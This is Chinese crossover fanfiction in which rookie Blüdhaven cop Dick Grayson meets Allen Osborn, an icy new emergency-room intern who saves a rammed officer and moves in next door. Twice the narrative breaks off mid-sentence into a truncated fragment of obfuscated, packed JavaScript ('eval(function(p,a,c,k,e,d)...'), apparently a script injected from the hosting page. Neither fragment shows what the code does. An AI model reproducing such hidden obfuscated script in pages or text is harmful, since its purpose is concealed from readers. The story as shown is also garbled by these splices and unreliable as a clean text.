《[综英美]布鲁德海文急诊科》 1. 医生和警察? 今天又是‘美好’的一天。 在闹钟持续不断地骚扰了十分钟后,理查德·格雷森警官先生缓缓撑开眼皮,哼哼唧唧地撑起身体,努力让自己用不那么糟糕的姿势从床上爬起来。 然后他不小心踩到地上皱巴巴的制服,差点绊倒。又在努力把裤子提起来的时候不小心扯到了后背的伤口。 没人安慰可怜的迪克。 只有老旧床垫发出吱嘎一声响,翘起一角和迪克抗议。 迪克心疼地摸摸老床垫,祈祷老伙计能多撑一段时间,因为他辛辛苦苦攒了很久的钱已经被换成了摩托车的某个小零件,因此如果他的床垫闹着要罢工—— 那也只能任由它去了。 有个来自夜翼的好消息,昨晚是个平安夜。 坏消息是,格雷森警官今天恐怕得加班到凌晨才能和夜翼‘换班’。 ——几个小混混被夜翼吊在了警局门口,兢兢业业的格雷森警官上班后会用夸张中带着惊恐的表情去处理;入室抢劫案要格雷森警官抽空出个外勤去调查,因为讨人厌的帅气夜翼昨晚给他的邮箱发送了相关线索;隔壁约翰逊老太太养的一辆老猫车又丢了,他得帮忙去看看那只重达14磅的橘白今天又躲在谁家偷吃狗粮…… 迪克又对着镜子看了一眼蝙蝠时尚单品黑眼圈,努力向镜子里的人露出一个阳光灿烂的夜翼式笑容。在他伸手用力拧开公寓里那个老旧水龙头的时候,水龙头终于忍受不了公寓主人的粗暴对待于是呲了迪克一脸水。 可怜的格雷森警官手忙脚乱地扯了条毛巾胡乱塞住水管,心想等他有钱之后肯定换个好点的房子。 但有钱是不可能突然有钱的,除非他动用布鲁斯给他的信托基金,但是……那不就意味着他向布鲁斯认输了嘛,夜翼坚决不能主动投降,至少不是现在。 等迪克终于处理好可以养鱼的卫生间和疯狂呕吐的水龙头之后,他上班已经注定迟到。 然而今天也许是迪克警官的受难日。 他碰上了堵车,路上还抓了两个飞车党,但他依旧因为迟到被扣了所剩不多的工资——鉴于他目前只是个入职没多久的普通巡警,他这个月恐怕要赔钱上班了。 在成功抵达警局门口时,他不小心遇见一对凶残的夫妻在警局门口打架,他想上去拉架结果被愤怒的女士误打了一巴掌,然后还被上司臭骂了一顿。 忍受完上司糟糕的讽刺和同事们暗含同情的眼光,迪克被分配到警局里年纪最大、皮肤起皱的一辆巡逻车和一个只会在副驾驶上打呼噜、巡逻从来只去炸鸡店的老油条同事。 迪克握着方向盘,目光惆怅地仿佛看见了十只不会说话的蝙蝠绕着他脑袋转着圈嘎嘎乐。 他的搭档已经关了警车定位,宣称要秘密行动,并在他试图把车开往事故高发区域的时候精准地睁开惺忪的睡眼,给他一拳的同时用力扯回方向盘。 迪克也很想给对方一拳。 但他现在还是个菜鸟警察,而欺压新人是布鲁德海文警局的特色项目。 等会儿他得找机会溜走,不然今天就得在炸鸡店虚度光阴。 “‘好滋味炸鸡’!我们终于到了!”老警员像什么都没有发生一样打开车门,乐呵呵地看着迪克,“放松一点,年轻人!永远记住及时行乐,这是布鲁德海文警察必须拥有的人生信条!” 迪克翻了个白眼:“谢谢,我对人生信条和炸鸡过敏。” 过敏源很多的敏感迪克躲在警车里,偷偷窃听其他警车的情况,随时准备私自行动。 ‘砰——’ 是令人不安的、橡胶轮胎在地上打滑摩擦发出的声音和人们惊恐的尖叫声。 声音并不是来自耳机,而是在距离他不远的地方。 迪克反应迅速地启动车辆,用最快的速度向着声音传来的方向开过去。 拎着炸鸡的老警员同样反应迅速地躲进了炸鸡店,假装自己什么都没看见。 等迪克开着可怜的老捷达抵达现场的时候,周围已经是一片兵荒马乱。 一辆没有车牌的黑车将另一辆迪克今早还见过的警车恶狠狠顶在马路旁,两辆车都憋下去一个大坑。警车司机在驾驶座上生死不明,副驾驶的警员浑身是血,但幸好眼睛还睁着,正惊慌地大叫。 迪克瞳孔一缩。 他知道这辆车属于谁。 埃里克·霍森,一个符合布港警局风气的、善于偷奸耍滑的老油条,喝酒抽烟、吃喝玩乐、偶尔在上班时间开着警车去泡妞,还和布鲁德海文地头蛇有些含糊不清的交情。 他手段灰色,底线不明,经常嘲讽包括迪克在内的所有新人是不懂当地规矩的菜鸟。 但迪克确实从他身上‘学’到了不少布鲁德海文警察必须具备的‘手段’。 和哥谭差不多,布鲁德海文是一座工业发达的沿海城市。它虽然不像哥谭一样拥有一段相对长久的历史和无数如章鱼触手般纠缠在一起的老牌家族,但这里的黑邦斗争、权色交易、毒品泛滥、种族问题、贫富差距可一样不少,犯罪率和隔壁的哥谭相差无几。 迪克每天通过高架地铁从公寓所在的南区穿过整座城市去往北向的市中心时,总感觉自己见证了整个世纪的经济发展进程——北方鳞次栉比、繁华摩登的摩天大楼下掩藏的是南区萧条荒芜、破败倾颓的贫民聚居区和几乎看不见的商业活动。 如同曼哈顿撞上底特律,一条南北贯通的高架桥把人们残忍地划分成三六九等。 亚当·斯密和他看不见的大手让布鲁德海文一小撮人本就富裕的生活雪上加霜,恨不得日日用黄金洗澡。 但繁华的高楼在南区投下厚重的阴影,杂草里罪恶丛生,根深蒂固的结构性问题让布鲁德海文的失业率几乎高达百分之十,尤其在某些少数族裔群体中,这个数据能高达百分之五十。 失业的青年在街头自发组成团伙,继续吸引无家可归的年轻人走上同样的路。 迪克在事发地点不远处刹车,然后身手矫健地从驾驶座上一跃而出,向埃里克·霍森的车跑去。 他希望这是一场意外,但肇事司机已经从驾驶室消失无踪,周围还有几个戴着帽子的年轻人探头探脑。 马路很宽敞,没有拥挤的十字路口,来往车辆寥寥无几。肇事车的轮胎痕迹根本就是直直冲着埃里克来的——迪克敏锐的观察力告诉他这是一起显而易见的蓄意谋杀。 埃里克已经昏迷不醒,按照驾驶座的损毁程度来看,他恐怕…… 不过有个人比迪克更快到达现场。 背着书包、高挑瘦削的红发年轻人留给迪克一个棱角分明的侧脸和潇洒的背影。 两人同时握住车门,手指碰在一起,迪克蓝色的眼睛对上一双隐藏在镜片后面的绿眼睛。 他看见对面年轻人清澈冷静的眼底出现自己顶着一头乱发的身影,罕见地愣了一下。 为那张过分好看的脸和过分冷漠的神色。 这人一点儿都不像布鲁德海文的原住民,迪克心想。 还有,他的眼睛真漂亮。 青年漂亮的眼睛隔着平光镜片上下打量了一番迪克,目光在迪克的警徽和脸颊的巴掌印上稍作停留,然后难以避免地把布鲁德海文警员的刻板印象扣在迪克头上。 警察在布鲁德海文不是什么受人尊敬的职业,在这片街区的穷人眼中,cop等价于种族歧视、暴力执法、收受贿赂和富人们的狗。 艾伦·奥斯本和他的车在到达布鲁德海文之后的三天里已经深受其害,后者荣登失踪名单。 “救命!”副驾驶上的警员冲着迪克大叫,“我的腿要断了!” 艾伦和迪克谁都没说话,一起用力拉开车门,慌乱中迪克不小心踩了艾伦一脚。 艾伦低头看了一眼皮鞋上的脚印,语气像是来自西伯利亚的寒流:“油箱漏了,如果你不准备在十分钟后和伤员们以及我本人一起被装进盒子里,我建议你走远点,不要碍手碍脚。” 迪克开始计算他今天这一脚下去要花多少钱给对方清洁这双昂贵的手工皮鞋。 前提是他没有和对方一起减肥减到6磅。 埃里克·霍森探员正额头冒血生死不知,那张粗糙的、布满络腮胡的下半张脸已经看不清原样。 副驾驶上的警察已经瘸着腿大叫着跑出来,动作十分利索,看上去其实并不需要他们的帮助。 小警员捂着渗血的脑袋,一瘸一拐但并不影响他迅速拉开迪克的车并坐了进去。 “格雷森,替我照顾一下埃里克,我还有事先走了!” 引擎声响起,只留下一连串汽车尾气。 迪克:…… 他听见对面的年轻人嗤笑了一声。 迪克感觉十分丢人,他很想说自己和那个家伙不是一路人。 好警察迪克在艾伦冷冰冰的目光中努力为布鲁德海文警局挽回形象:“我猜他是要去找人来,你能帮我看看救护车什么时候到吗?这里很危险,你最好离远一点,交给我吧。” 艾伦觉得这个警察挺奇怪的,而且更碍事。 不过他没再说什么,探身进去想要解开埃里克的安全带:“你能大发善心帮我看看里面的司机什么时候死吗?如果他死了,我们可以再聊一会儿。以及,感谢你会叫救护车,聪明的警察。” 迪克已经换了个角度继续救人:“……不用谢,我在警察学校的时候成绩很不错。” 但埃里克被卡得很紧,艾伦和迪克努力了半天也没能把人弄出来。 “好吧……我去拿工具把车顶切开,你最好还是……”离远点。 “做你该做的,警察。实在不行你呼叫911,换更专业的人。” 迪克噎了一下,在看见艾伦已经从包里拿出听诊器之后,决定去拿个电锯。 凶手确实没准备给埃里克留下生机,所以撞得丝毫不留情面,整个捷达的车头已经熬陷进去,安全气囊弹出,但也没办法阻止埃里克的大腿已经折成三段露出一大截骨头,胸口还插着挡风玻璃的碎片。 伤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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再不到达他都怀疑艾伦要在这里为埃里克现场手术了,他眼尖地看见艾伦背包里的综合急救箱和一大堆他没看清楚的设备。 警员先生用惊诧又复杂的眼神看了艾伦一眼,心想现在搬来布鲁德海文的年轻人已经如此有先见之明了吗? 艾伦也瞥了一眼迪克手中的电锯、同款肾上腺素、体温计、一次性速冷冰袋和夹板,心想这警察挺能装的——指他的背包。 艾伦突然想起某人的教导,他犹豫了一下,决定抬起嘴角,露出精心设计过的弧度:“电锯看上去不错,在哪买的?” 迪克对着医生镜片背后毫无笑意的眼睛,再次狠狠噎住。 他还没见过谁的微笑能让他觉得冬天到了。 “……警局附近有个二手五金店,你需要的话我可以带你去——没有熟人介绍老板会宰客。” 救护员已经抬着担架过来。 艾伦手下的心肺复苏没有停下,迪克听见他在哼唱《Stayin‘ Alive》。 “我想我可以……” “抱歉,”艾伦嘴角还是那个弧度,“我觉得不可以。” 埃里克被抬上救护车,艾伦指令清晰说话三倍速:“中年男性,挤压伤,动脉断裂大量失血。左腿绑上了止血带,已经测不到脉搏。先做气管插管,4单位O型血,再注射一针肾上腺素。” 急救人员不自觉地开始行动起来。 慌乱中,有人问了一句,“……你是?” “艾伦·奥斯本,一个……医生。”今天开始实习。 艾伦脸上还带着刚刚溅上去的血迹,神色却始终淡定,就好像他手底下按着的不是一颗即将停跳的心脏一样。 急救员丹尼尔·布莱曼今天第一次上岗——临时的,因为他的老师前两天逃离了布鲁德海文。 菜鸡急救员第一次跟救护车,于是遇见了实习医生艾伦·奥斯本和菜鸟警察迪克·格雷森。 他不知道的是,之后他还会以急救员的身份和这位医生以及这位警察打无数次交道。 艾伦抬起头,看向迟迟没有动作的急救员,绿眼睛里带着疑惑。 被医生的绿眼睛紧紧注视着,丹尼尔小动物般的直觉感受到一种来自高级捕猎者的威胁,就好像对面的医生下一秒就要把手术刀插进他心脏——因为他不听话或者急救考核不及格。 急救员原本就紧张的心态一下子崩溃:“我……我今天第一天工作!我……下一步要干什么?我忘带《急救手册》了!!” “……给病人插管会吗?掰开他的嘴,把你培训时候学过的用上!” “我……我我能谷歌一下吗?!求求你让我谷歌一下吧!” 最后还是站在一边的迪克一把抢过了菜鸟急救员手里的工具。 艾伦怀疑的眼神落在迪克身上。 迪克露出一个自信笑容:“我学过,在油管上,放心吧!” 2. 新邻居? 迪克的急救术当然不是跟着油管学的,但他总不能告诉艾伦他也会缝合伤口,插管更是小事,他跟着蝙蝠侠给罪犯/受害者急救过不知道多少次。然而这些经验似乎也帮不了太多忙——埃里克伤得太重,他手边工具不够,再加上常年炸鸡啤酒的中年男人身体状况实在比不上哥谭某蝙蝠。 总得承认有些突发状况他实在是无能为力,哪怕他是夜翼。 救护车到达布鲁德海文医院急诊科的时候,艾伦依旧浑身是血地跪在救护担架车上,继续给埃里克做心肺复苏。手忙脚乱的急救员丹尼尔看上去快要哭了。 但是又碍于奥斯本医生的威慑力,他努力用发抖的手帮忙推病床。 布鲁德海文急诊科的医生过来想要接手,却被艾伦十分强硬地拒绝了:“这是我的病人。” 语气理所当然到所有人都下意识地觉得应该听他的。 回过神来又觉得好像有些不对。 一脸懵逼的护士拉住迪克:“他是谁?” 迪克:“……一位热心善良医术精良且很有医德的布鲁德海文好市民?” 丹尼尔结结巴巴地说:“……他,他说的没错,奥斯本先生比我专业太多了!” 迪克心想,这里站着的所有人可能都比丹尼尔专业。傻孩子看上去像是要把那个‘热心’年轻人当偶像。 虽然他觉得这个年轻人在救人的时候眼底依旧一片冷漠,就好像埃里克·霍森在对方眼中不过是个医学院教学使用的道具,而不是一个濒临死亡的真人。 ‘好市民’艾伦动作有条不紊,医院里的医生和护士一头雾水,但看在艾伦手法熟练且病情紧急的情况下没人贸然去打断他,直到急诊科的行政主管匆忙赶来认出了艾伦。 “那么——2号治疗室,奥斯本医生。”住院护士果断命令。 急诊科是个需要‘团伙作案’的地方,一位精明果断的住院护士能让这里效率提升数倍。艾伦一边继续给埃里克做急救一边心情不错地想着,在这一点上,他已经可以给自己即将工作的地方评个A级了。 他在这里的生活应该会很不错,护士长很冷静,没人因为他是个陌生实习医生而简单粗暴地阻止他救人——在这里应该会比在地狱厨房的时候好。 至少没人天天像背后灵一样盯着他。 艾伦:“给他上监护器,准备电击!” 护士熟练地走上前,没有一丝犹豫。丹尼尔眼巴巴地跟在艾伦屁股后面拿着小本子做笔记。 这是布鲁的海文急诊科平凡又忙碌的一天,也是艾伦正式在这里开始实习的第一天,而他甚至还没来得及去找主管报道。 那位神情严肃的中年主管女士就站在急诊室门口,看着艾伦的眼神颇为满意。 其他医生护士们的眼神在艾伦精致的、有些脏兮兮还有血迹的脸上停留了几秒钟,然后又看了看艾伦那头醒目耀眼的红发。 ……总觉得这家伙不像医生。 急诊科的高年资住院医生安迪·米勒快步走进来,在看见艾伦的动作之后饶有兴致地挑了挑眉,后退两步也盯着艾伦看,一点儿没有插手的打算。 艾伦没在意周围的人:“停止按压!” 护士的动作停下。 同时,在丹尼尔的惊呼声中,艾伦的手术刀干脆利落地切开了埃里克的气管。 埃里克因为疼痛而牙关紧咬,刚刚在路上无论是他还是迪克都没办法给病人插管,现在只能切开气道。 鲜血从手术刀附近涌出,艾伦的手相当稳——早在纽约时候,他就已经很熟练了。 他的技能是他游走在法律边缘的时候锻炼出来的,别看他不过是个实习医生,其实他行医经验相当丰富,就是一不留神特别容易被人起诉。 拜某人所赐,他现在对法律条文熟得不能再熟了。 其实他当初还差点切开过地狱厨房的一个被人殴打的混蛋律师的气管、给一个莫名其妙的紧身衣怪男缝合伤口不下二十次——在一年之内。 但是好心没好报,那个律师和那个紧身衣怪男似乎都盯上了他,连他出去和朋友聚会都要阻止。 他只是去和大都会的老朋友聊聊天而已。 想到这里,艾伦嘴角精心设计的弧度减少0.5度。 他来布鲁德海文的原因很复杂,三两句话说不清楚,但其中有百分之五十和那个讨厌的律师有关,还有百分之三十和头盔上有小恶魔尖角的紧身衣怪男有关,剩下百分之二十要怪另一个红蓝相间的紧身衣怪男。 他讨厌超级英雄。 做好腹股沟插管之后,护士听从艾伦的指令为埃里克做了两次电击,当电压加到200的时候,埃里克的心脏终于重新开始跳动。 艾伦看着监测器上的窦性心律,神色满意:“……他回来了。去做血液交叉配型……然后送去手术室。” 这个被他从死神手里拉回来的家伙恐怕要在ICU住一段时间了。今天这场手术用不着他这个急诊科医生,护士已经呼叫其他科室会诊,而他的使命——暂时保住埃里克的命——已经完成了。 迪克还等在门口,双拳紧握,神色凝重。 没有听见医生宣布死亡时间,他也总算松了口气。 埃里克的妻子还在家里等着他,霍森夫人说不定这会儿已经做好了炖牛肉,他们可爱的女儿正在上高中——迪克简直不能想象这个家庭失去埃里克会陷入怎样的绝望。 艾伦已经取下手套做了消毒,然后才走出手术室和众人打了个招呼。 奥斯本医生的红发没了迪克刚见到时候的整齐,现在正有一缕卷曲着贴在医生的脑门上,显得有些呆里呆气的,看上去更像个还没毕业的大学生了。 不过也确实如此,按照医学院的培养规划,艾伦·奥斯本暂时还没毕业。 没毕业的艾伦医生正苦大仇深地瞪着自己的衣服,就好像上面的血是他今天面临的最大难题一样,他脸上的表情用迪克的话来说就像是达米安混合了斯内普教授。 迪克走上去感激地和医生握了握手,并热情地邀请医生一起吃饭,然后回警局做个笔录。他还可以送医生回家。 他也不知道为什么,就是对这个医生很好奇。 刚刚他已经旁敲侧击过了,艾伦·奥斯本是布鲁德海文急诊科新来的实习医生,之前一直住在纽约,最近才搬来布鲁德海文。 从纽约到布鲁德海文? 这个选择很少有外地人会做。 “你可以找我助理预……”艾伦抬头,看了一眼迪克,回答得漫不经心。 然后他差点咬住自己的舌头。 想起如今的状况,他勉强改口说道,“给我个地址吧,我自己会过去的。” 坐地铁。 迪克:“……如果不介意,我可以送你过去。” 他刚刚说什么?找助理预约? “不用了。”艾伦还是挂着那个仿佛精心计算过角度的微笑,“如果我没记错,你的破车刚刚抛锚了。”那个溜走的小警察在路上被他们的救护车反超。 迪克:“……别这样说,捷达会伤心的。” 和迪克对视了十秒钟后,奥斯本医生缓慢地眨了眨眼睛:“……还有事吗?” 迪克努力把自己的眼睛从奥斯本医生湖泊一样的眸子里拔出来:“呃……” “欢迎加入布鲁德海文急诊科,艾伦!”奥斯本医生未来的同事们过来打招呼,同时打断了欲言又止的迪克。 护士长这才注意到迪克,她笑着拍了拍这位偶尔出入急诊科的警员的肩膀:“哦,又是你,格雷森警官。我们这里荷尔蒙的浓度要爆表了!求你,离急诊科远一点吧。” 艾伦挺想知道迪克到底要说什么,因为按照他的猜测,对方应该不会过来和他打招呼。没有结果的对话让艾伦有点困扰,因此他的目光不停地往迪克那边看。 安迪·米勒医生走了过来,热情地和艾伦握手,打断了他的思考:“奥斯本医生,刚刚做得相当不错!你动作利落得简直让我怀疑你根本不是实习生。看来之后我们会相处得很愉快——顺便一提,我是你这段时间的带教老师,叫我安迪就好,米勒医生也行。鉴于你会让我接下来的教学时光很轻松,我能直接叫你艾伦吗?” 艾伦的注意力又停在米勒医生最后一句话上——为什么他会让对方教学时光轻松?这和对方叫他艾伦之间有什么关系? 不过眼下的场景似乎不太适合询问,艾伦不得不挂着冷冰冰的、友善的笑容做自我介绍,维持一个正常人类的表象。 然而他大约不是很清楚,他此刻的表情仿佛他面前的同事是一个个正在等待他移植的内脏。 迪克察觉到了,他相信这群医生也察觉到了。 安迪·米勒的笑容有点僵硬,似乎正在重新评估接下来的教学时光。 “他看上去让我们的急诊室像金色大厅被搬去了北极……我一边冷得想打哆嗦一边又很想盯着他看。”迪克听见一个护士小声嘀咕,“我打赌,病人会很愿意在他手底下被剖开胸腔的。他们盯着他的脸可以止痛。” 接着是另一个护士附和的声音。 医生护士们表达友好之后立刻散去,又开始了新一轮的忙碌,米勒医生很快被护士叫走去查看另一个病人。 艾伦站在原地,努力思考打工人进入新公司的第一步要干什么。 ……所以为什么医院就不能给每个医生配个私人助理?他真的很不习惯没有助理的生活。 天气挺热的,迪克把外套脱掉挂在手臂上,又理了理凌乱的头发,继续凑上去想问问艾伦有没有看见谋杀埃里克的凶手:“艾伦,我能这样叫你吗?总之今天真是多亏了你,不然埃里克……” 艾伦眨眨眼睛,盯着迪克的衬衫,视线转移到他的头发上,脸上的表情似乎带着一点儿疑惑。 半晌,他对着迪克点了点头:“不用客气,先生。”刚刚人太多,他没看清这人从哪里窜出来的。 迪克:?你不认识我了吗?我们刚刚还配合默契地救了个人! 艾伦盯着迪克,似乎正在等待他的下一句话。 迪克:…… “我……”迪克头一次遇见不知道该怎么展开话题的情况,他尴尬地对着医生越来越疑惑的眼神笑了一下:“咳,我想提醒你一下,作为车祸见证人,你需要去一趟警局。” 艾伦点了点头:“警局地址发我邮箱,我会通知你时间。” 迪克‘……’了一下,看着医生逐渐远去的背影,开始思考他今天为什么在和奥斯本医生沟通的时候总是遇到障碍。 医生的交流方式好像有点怪,但他一时之间又不知道该怎么形容。 迪克一边思索一边从护士手中接过埃里克的私人物品,脑海里浮现出今天的车祸现场。 所以埃里克究竟惹了谁呢? 他还没思考出个所以然,扭头就看见医生再次目不斜视地从他身边路过。 迪克:? 如果没记错的话,奥斯本医生已经从他身边经过三次了。 艾伦丝毫没有正在被人关注的感觉,他正在找路。 护士长本来要带他去找行政主管办理入职,但不巧的是刚刚又有一大批伤员被送进来,大家都忙得不可开交。艾伦不想等待,决定自力更生。 于是迪克看见奥斯本医生皱着眉头沉思了一会,然后又随便挑了条走廊往前走,完全不知道这条路是他刚刚经过的。 迪克:……? 不会吧不会吧,不会有人在写满了指示周围还都是同事的医院里迷路吧? 但是当艾伦第四次经过迪克身边,并且自顾自沉浸在自己的世界里,完全没看见迪克的时候,迪克终于忍不住一把拉住了医生。 “你要去找行政主管的办公室吗?”迪克冲着医生露出一个友善的笑容,“我带你去吧。” 艾伦表情冷酷地抬了抬下巴:“不用,我自己可……” 话还没说完,迪克就已经拉着他拐进了另一条走廊:“别客气,跟我来吧!” 艾伦心想,这个衬衫男……是谁? 出于某种原因,他有时候实在是不太分得清楚这些长得几乎一模一样的走廊和所有人几乎一模一样的脸,他连别人的名字都懒得记。发型和衣服是辨识身份的重点,大多数时候这个方法是管用的。 可惜他对声音没那么敏锐,不是长时间接触的人,他也不是很能分得清楚对方的声音。 这得追溯到他童年的某些经历,某个不专业的心理咨询师说这是心理因素,因为他下意识地抗拒接触人类。他赞同一部分——他确实不怎么喜欢和人群接触,大部分时候他喜欢无视无关紧要的家伙。 不过医生此时不是很愿意回想起这些往事。 更糟糕的是,比起迷路他更讨厌求助别人,这比杀了他还难受。 但他没来得及拒绝迪克,就已经被热情的迪克推着送到了目的地。 艾伦在门上看见了行政主管办公室的字样,一扭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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负责创伤的急诊科医生不需要优柔寡断和富有同情心,他们要迅速果决地摒弃畏惧和慌乱,在短短几秒钟内下判断并对病人实施急救,有时候需要冷血到像个没有感情的机器人。 打个不那么恰当的比方,科室医生是先瞄准再开枪,急救医生得先开枪抢占先机。 她在艾伦身上看见了科室未来明星的影子。 于是古德曼女士再度对着年轻的医生友好地笑了笑,目光在艾伦衬衫上的大片血迹停留了几秒钟:“欢迎你的加入,奥斯本医生……顺便说一句,你需要我介绍一家合适的干洗店吗?丝绸的料子可不好清洁。” ** 奥斯本医生最终还是拒绝了古德曼女士的干洗店,他穿着带血的衬衫干脆利落地办好所有手续,丝毫不在意古德曼女士欲言又止的表情。然后他在同事的带领下茫然地参观了这座综合性医院——带着衬衫上的血。 搞得路过的好几个护士还以为有病人或者凶手出逃。 急诊科就在一楼,这让艾伦松了口气。他已经记下墙壁上的细微差别和每个转角处摆放的装饰品,在这里工作不会出现纰漏,只要不让他总是往陌生的地方跑就可以。 二楼是专门的研究室和实验室,在往上还有南区北区之分,临床科室、医技科室和职能科室分别分布在不同的区域。 布鲁德海文医院是个规模可观的私立医院,不少科室都十分有名,同时也相当有钱。 每年十月份,这间医院还会在半岛酒店举办豪华的慈善筹款宴会,今年医院拉到的赞助商就是隔壁城市大名鼎鼎的韦恩集团,金主爸爸十分阔气地出资为整个急诊科捐献了大量器材和高端设备,甚至修了一整栋楼,医院高层差点高兴疯了——他们计划给布鲁斯·韦恩塑个等身雕像喷泉池,像是思想者或者大卫那种,不过听说韦恩老爷拒绝了。 古德曼女士的高跟鞋轻快地踩在急诊科的走廊上,发出有节奏的声音。她心情愉快地和艾伦开玩笑:“虽然不知道韦恩先生突然投资我们医院的目的,但是院方早就决定免除韦恩先生在我们医院的全部医药费——如果他准备开除他的私人医生并且搬到布鲁德海文的话。我个人认为在我们急诊科看见布鲁斯·韦恩的概率‘高’达百万分之一,所以为了以防万一,你去大厅看一眼韦恩先生的照片吧,记住他那张令人印象深刻的脸,或者你买一本《花花公子》也行。” 艾伦:…… 他决定明天或者后天再把脑容量浪费在这些无关紧要的细节上。 同时决定把布鲁斯·韦恩的名字放进不需要了解的人类名录中,明天早上就把这个名字从记忆里删除。 入职第一天,古德曼女士只让艾伦和同事们简单认识了一下。 其实同事们原本还想带着艾伦去附近的酒吧好好联络一下感情,但是在看见艾伦那张脸之后,大家的话又有点说不出口了。 也不知道为什么……带奥斯本医生去蹦迪有种引诱好学生逃课的错觉。 古德曼女士保持着高深莫测的笑容,看上去十分期待艾伦·奥斯本能和他们急诊科的人才们、经常出现在急诊科的消防队员和警局成员们摩擦出别样的火花。 阅人无数的行政主管女士从看见艾伦的第一眼起,就知道艾伦的脸绝对只是用来迷惑人的,至于这位奥斯本医生究竟是什么样的人,恐怕只有时间才能告诉他们。 除了医院的众多同事们正在对着艾伦·奥斯本医生的脸直呼医院之光之外,还有个人心里也正对着医生念念不忘。 迪克警官也终于结束了今天一整天的工作,正抱着一大堆麦片和速食单手拿着钥匙试图打开老旧公寓的大门。 一边开门他一边看着隔壁公寓终于被擦干净的门,心想,旁边始终没人居住的房间似乎终于迎来了新房客,就是不知道好不好相处。 希望是个安静不多管闲事的人,以及最好别来自佛罗里达。 他没有地域歧视,他只是对神圣的佛罗里达人充满敬畏心,并且衷心祈祷他们不要搬来布鲁德海文——鉴于他今天刚从一条蟒蛇女士手里救下它来自佛罗里达的主人兼未婚夫。 所以当他从阳台上看见隔壁阳台冒出艾伦·奥斯本医生那张能照亮昏暗夜色的漂亮脸蛋时,迪克忍不住松了好大一口气。 然后在听见医生的房间里传来的剧烈爆炸声时,他条件反射地翻身,遵循超级英雄的本能从阳台窜了过去。 3. 共进晚餐? 走阳台跳进房间的时候,迪克还以为奥斯本医生遭遇了恐怖袭击。 虽然这么说好像也确实没错。 ——毕竟布鲁德海文警局对恐怖袭击的定义包括接连两次或两次以上对平民人身安全及生命财产造成重大损失的枪击、爆炸、投毒等袭击。 艾伦·奥斯本的公寓发生了两次连续爆炸,爆炸地点分别是厨房的微波炉和电磁炉。 他们双双牺牲,不幸罹难,凄惨的尸首躺在厨房的地面上死不瞑目——墙壁里还镶嵌了一小块碎尸,场面可怕得很。 凶手是被奥斯本医生放进微波炉的一打可怕生鸡蛋和放在通电电磁炉上的邪恶手机。 以及一脸无辜的奥斯本医生本人。 无辜的奥斯本医生在看见迪克的一瞬间就拎起凳子对着迪克的脑袋狠狠砸过去。 身手矫健的小警察迅速侧身躲开椅子,一把握住医生挥过来的拳头。他张口想要解释他从阳台过来只是因为两点之间线段最短,他并不是什么该死的入室抢劫犯。 可惜医生看起来并不想给他解释的机会。 迪克再次躲开医生不知从哪里摸出来的刀,然后忍不住感觉很欣慰——医生警觉性很高,他至少不必担心隔壁发生入室抢劫的时候医生没有自救能力。 奥斯本医生的刀不小心脱手,他很快又挣脱了迪克不怎么走心的钳制,抬手就朝着迪克的眼睛捶过去。 几轮双方实力完全不相当的交锋后,迪克不得不把打架打得毫无章法的医生压在地板上——因为奥斯本医生笨手笨脚地被自己随手扔在地上的外套绊倒了。 艾伦生气地扭头瞪着阳台上闯进来的陌生人:“你是谁?想要干什么?”该不会是讨人厌的律师派来抓他回去的人吧?还是诺曼·奥斯本的人? 艾伦的手腕被迪克紧紧扭在身后攥住,他倒在地板上的姿势非常别扭,还不小心蹭了一脸灰。很显然,他那点儿在地狱厨房学来的三脚猫功夫对付不了眼前的家伙。 奥斯本医生脑海里略过无数个杀人方案,等他挣脱—— 迪克率先松开手,投降地起身:“……我以为我今天没有足够的时间去整容。奥斯本医生,你又不认识我了吗?” 艾伦仔细观察了一下迪克重新变得乱糟糟的发型和还没来得及脱掉的警察制服,目光落在他今天见过的最翘的臀部上。 医生灰头土脸地嘴硬:“……是你,我认得。你刚刚跳得太快了,糊成一团像素,我没看清你的脸而已。” “那你说说我叫什么名字?”迪克好笑地问道。 艾伦踢开影响他发挥的皱巴巴的外套,从地上爬起来扭头去看黢黑的微波炉。 这人好烦,他想。 目光落在厨房的刀子上,奥斯本医生在心里勾勒出对面这个男人的体型,在脑海中上演庖丁解牛整整三次,每次下刀的角度都比上一次更加完美。只希望上帝给他一次实践机会。 以及,他下次会记得随身携带一点可吸入式毒剂。 卢瑟那边应该有,实在不行联系一下金并。比起后者,前者更不好糊弄,但是他和莱克斯更熟一点,就是得注意别让大都会那个心眼子比氪星碎片都多的家伙暗中坑他一把。 迪克完全不知道医生脑海里那些疯狂试探义警和法律底线的想法,他只想知道医生是怎么做到救人的时候像个高精度百分百不出错的ai,做饭和打架的时候又像个试图混进人群的伪人的。 “所以……你为什么会住在这里?”迪克认命地蹲在奥斯本医生的厨房里,帮忙清理黑到看不出原色的墙壁和爆炸的电磁炉,在耐心教育医生使用厨房设备的常识之后,他忍不住觉得很好笑,“天呐,房东如果看见了你的厨房,一定会发出尖锐爆鸣声。你死定了。” 他们的房东是位性格‘宽厚’、身材魁梧、武力值比年纪高太多的‘和蔼’老太太,非常典型的布鲁德海文人,特长是美式居合斩。 当初他也是看中了这一点才决定租下这里。 奥斯本医生难得没有挂着冷冰冰的伪人微笑,他蹲在另一边,在迪克的指导下嫌弃地拎着抹布擦地板。今早还挂在高挺鼻梁上的平光镜已经不知所踪,毫无遮挡的绿眼睛里透着幼稚的不服气,和今天在医院里精明果断的医生判若两人。 “……因为这里比较便宜。”艾伦瞥了热心邻居一眼,“而且附近有直达医院的地铁和十分凶狠的守门人,我觉得我为数不多的财产可以得到保障。如果你敢告诉房东,我只会说是你干的。” 医生入住这里的理由和迪克的一模一样,听上去他们都很缺钱。 但这让迪克更加疑惑了:“恕我直言,你看上去可一点儿都不像是缺钱的样子。” 